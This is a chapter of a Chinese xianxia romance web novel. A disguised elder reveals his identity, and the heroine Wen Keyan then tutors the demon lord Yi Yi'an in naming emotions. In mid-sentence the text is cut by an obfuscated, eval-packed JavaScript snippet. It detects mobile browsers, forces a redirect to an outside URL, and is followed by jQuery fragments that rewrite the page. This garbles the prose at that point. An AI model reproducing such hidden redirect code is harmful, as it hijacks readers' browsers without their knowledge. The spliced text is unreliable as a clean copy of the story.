172. 刺中痛(六)
作品:《穿书后反被反派攻略》 “如今魔界,是二张老那个老匹夫掌权。”长生说着,手下意识往颌下捋去,却捋了个空。他动作一顿,神色间掠过一丝不自然,随即身形与面容如雾气流转,不过眨眼,便变回了那个阴险狠厉的大长老模样。
只是他下颌那缕曾经精心打理的花白胡须,此刻已变得粗糙黯淡,失了光泽。
大长老摸到胡须,也怔了怔,悻悻收回手,叹了口气:“我早知他鬼心眼多,却没料到他竟与天界之人搅在一起。”
这话一出,石桌上忽然陷入微妙的寂静。
毕竟在座三人里,文可烟正是天界人士,而旁边那位,恰是“与天界人士搅在一起”的本人。
可更让文可烟吃惊的是,却是方才抬眼时,亲眼见着由长生变为大长老的全过程。
她托着腮的手倏然一滑,整个人险些没坐稳,一双眸子睁得圆圆的,愕然盯住眼前那张忽然苍老却熟悉的脸。
难怪……
先前在牢中瞧着长生总觉得格外眼熟。之前在魔界,也觉得他那双眼睛里的岁月感与年轻面容格格不入,总是过于违和。
原来……
竟是这么一回事。
长生便是大长老,是大长老伪装潜伏在羿逸安身边的下属。
文可烟忍不住侧眸瞥向身侧的羿逸安。
却见羿逸安面色平静如水,连睫羽都未颤动分毫,显然早已知情。
到嘴边的那声惊呼被文可烟硬生生咽了回去。
她自然不好在如此平静的氛围下,突然起身惊呼,“你居然是大长老!”
不仅不符合这个氛围,也不适合此下境况,万一真把境尘惹过来了,就全白费了。
一股说不上来的恼意漫上来,好似平白受了记闷拳。
大长老显然未觉自己失言,也不在意这气氛的诡异,仍兀自沉浸在痛失保养多年美髯的悲伤中。
半晌,他才忍痛继续道:“我还听闻,境尘扬言不日便要攻打魔界。想来二长老至今还被蒙在鼓里,殊不知早被人当枪使了,还做着统领魔界的春秋大梦……”
几片枯叶被夜风卷着,打着旋儿从枝头飘落,轻轻擦过石桌边缘,三人姿态各异。
大长老捋着胡须,越说越激动,絮絮叨叨的模样活像个受了委屈的老顽童;
羿逸安端坐如松,听得专注;
而文可烟经过方才的暴击也调整过来。既然事实如此,再多想也无益,便索性放任自己神游天外。
她懒洋洋歪着头,指尖无意识地绕着垂落的发梢打转,举手投足间尽是浑然天成的慵懒。
三个人浅淡的影子杯被月光投在地面,竟莫名生出几分荒诞的温馨,像极了一对情侣被迫参与对方的工作应酬,女孩百无聊赖却不得不作陪的模样。
许是察觉到羿逸安始终沉默,大长老忽然停了下来,连放在石桌上的手都不自在地收了回去。好半会儿,才含糊地嘟囔出一句,“那日……我并非……”
“我知道。”
羿逸安终于开口,说了今夜对大长老的第一句话。
大长老显然懵了,嘴唇微张,却发不出一个音节。
羿逸安语气平静,指尖轻叩石桌,“早就猜到了。若连这些都看不懂,这些年的魔尊,岂不是白当了。”
羿逸安当然明白。
那日大长老当着所有魔族将士的面罢黜他的尊位,将他逐出魔界,皆是为了保护他,护他周全。
那日,他多年蛰伏隐忍,都是为了那一日。借着百年一次的“六界玄灵天枢筵”,这场六界瞩目的盛事,救出所有被困在魔界的各界人士。
他完全知晓魔界在谋划什么,也清楚自己必须要做什么。
魔界上下早已达成共识,要将前来“六界玄灵天枢筵”赴宴的各界宾客悉数剿灭,不留一个活口。
这场百年盛筵,实则是一场精心设计的炼狱。
以此向九重天阙的公然挑衅,向六界苍生宣告霸权。
待到此间血染成河,便是魔族旌旗蔽空,踏破九霄,独掌乾坤之日。
为此,羿逸安不得不将真实的自己彻底淹没。终日以深沉示人,以老练作甲,以狠厉为刃……在大长老面前滴水不漏,在魔军将领面前杀伐果决,在万千子民面前嗜血为狂。
好似,他真的是一个嗜血暴戾的魔头。
有时连他自己都恍惚,或许本性便是如此,这幅恶心至极的面目并非伪装。
否则,为何锋刃饮血会心生一瞬快意?为何目鲜血喷涌会血脉偾张?又为何……动辄碾碎生灵神魂,方能暂且平息那股永无止境的躁动与渴望。
可……
羿逸安目光不由自主落向身旁的文可烟。
自从文可烟来到身边后,他发现自己每每狂躁的心绪竟会渐渐平息,连翻涌的杀意都能化作清风泉水。
片刻后,羿逸安移开视线,想起那日为了瞒过大长老而制造出的残酷幻境。
漫天血海,虚实难分。若非最后她也踏了进来,恐怕他早已被那片虚实不分的血海彻底吞噬,连最后的理智都要葬送其中。
如今回想,若不是大长老在那时当机立断,抢先罢免了他的魔尊之位,此事在魔界掀起的风波恐怕远不止于此,而他所做的一切筹谋终将败露……
届时要承受的责罚,绝非仅仅是革除尊位这般简单。
大长老率先一步制服他,正是为了不让二长老和三长老抓到把柄,借题发挥。
“与其让那两个老家伙想出什么阴损的招数,不如我亲自来。”
羿逸安想,这大概便是大长老当时心中所想。
大长老故意声势浩大地缚了他,又在魔界动荡之际,刻意制造看守疏忽的假象。
也若非大长老暗中授意,他与文可烟,又怎会在芯核的协助下,如此轻松地逃出?
所以他一直心知肚明。
知晓大长老所做一切的背后深意。
*
夜渐深,风息人静。
文可烟随羿逸安回到他寝居,站在屋子中央,目光轻轻扫过室内。这屋子分明是她安排给他的,可自他搬进来后,她还是头一回踏进来。
想起最初那个未竟的夜闯计划,此刻站在这里,竟无端生出几分荒诞的宿命感来。
看来,今夜她是注定要“夜闯”成功的。
“教吧。”
羿逸安忽然出声,不知从何处取出一叠话本,整整齐齐摞在桌上,倒真显出几分求学心切。
望着这堆书册,文可烟恍惚间像是回到每个考前苦读
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053986|184831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的深夜。
见羿逸安如此单刀直入,她不免诧异。原以为他会先追究她手上的伤,拉扯一番,没成想他竟只字未提,如此轻易揭过。
她方才,可是连应对的说辞都准备了一箩筐,现下看来,都白准备了。
默然片刻,文可烟坐了下来,将面前的话本稍稍推开,腾出一方空地搁自己的手。
“……若要明白何为喜欢,何为爱,首先要认识自己。”
羿逸安在她身侧负手而立:“认识自己?我入世三百余载,何须再认?”
说完,他转身凝视着文可烟,目光直直落在她脸上,“小殿下莫要搪塞我。”
文可烟侧过身子,轻轻拍了拍身旁的空位,示意他坐下说话。
羿逸安垂眸瞥了一眼那处,身形未动。
文可烟再一次拍了拍椅面,羿逸安才将信将疑地落座。
待羿逸安坐定后,文可烟才继续开口:“懂得爱的前提,首先是要读懂自己。你真以为入世三百余年,就足够了解自己了吗?”
文可烟轻叹一声,“这世间多的是活了几千上万载,却依旧浑浑噩噩、不识己心的人。”
羿逸安眸光微动,这一次,没有插嘴。
“你需得学会辨认自己的情绪。所谓情绪,你之前也经历过不少,早该熟悉了。比如心口发紧发闷……”
话音在此处微微凝滞,文可烟垂下眼帘,半晌才轻声续道:“这便是......在意一个人时,生出的醋意。”
说完,文可烟不经意抬眸,却在触及羿逸安眼神是倏然顿住。
他的眼神过于危险,暗涌的情绪很是不对劲,她慌忙别过脸,不自觉放轻声音。
“心跳加快……是为心动。”
羿逸安的眼神越来越炽热,如同静燃的焰,就这么毫不避讳、目不转睛地盯着她。
而文可烟此刻每说一个词,都像是在剖析自己的心。那些关于吃醋、悸动的描述,字字句句都在映照她与羿逸安共同经历的点点滴滴。
他对阿轩莫名的敌意,他毫不犹豫的舍身相护,最为轻松惬意的三日时光,那个的彼此靠近亲近的夜晚,黑暗中交叠的呼吸……每一个不经意触碰的瞬间。
太多太多……
她不知道羿逸安是否也回想起这些,但那些鲜活的记忆正不受控制地在脑海中翻涌,不受控制,止都止不住,更压不下。
“忍不住想一个人,是为思念……”
话音至此,却戛然而止,文可烟匆忙岔开了话题,不再具体说明,“诸如此类。还有兴奋,开心,难受……等等的情绪,这些需得你亲自去感受体会。”
说罢,她倏然起身,连身侧的烛影都跟着晃了晃。
“今日就先讲到这儿。天快亮了,我需得赶回去,不然就来不及了。”
羿逸安仍坐着,仰着头凝视文可烟,又侧首望向窗外暗沉的夜色,哪里有一丝天光将至的迹象?
也不待羿逸安回应,文可烟便已化作淡青烟霭离去。
仓皇匆忙的模样,竟与初遇大婚那日,羿逸安转身消失时的姿态别无二致。
好似角色颠倒逆转,情景重现。
羿逸安望着空中已消散的浅淡绿尘,半晌,从喉间溢出一声极轻的低笑。

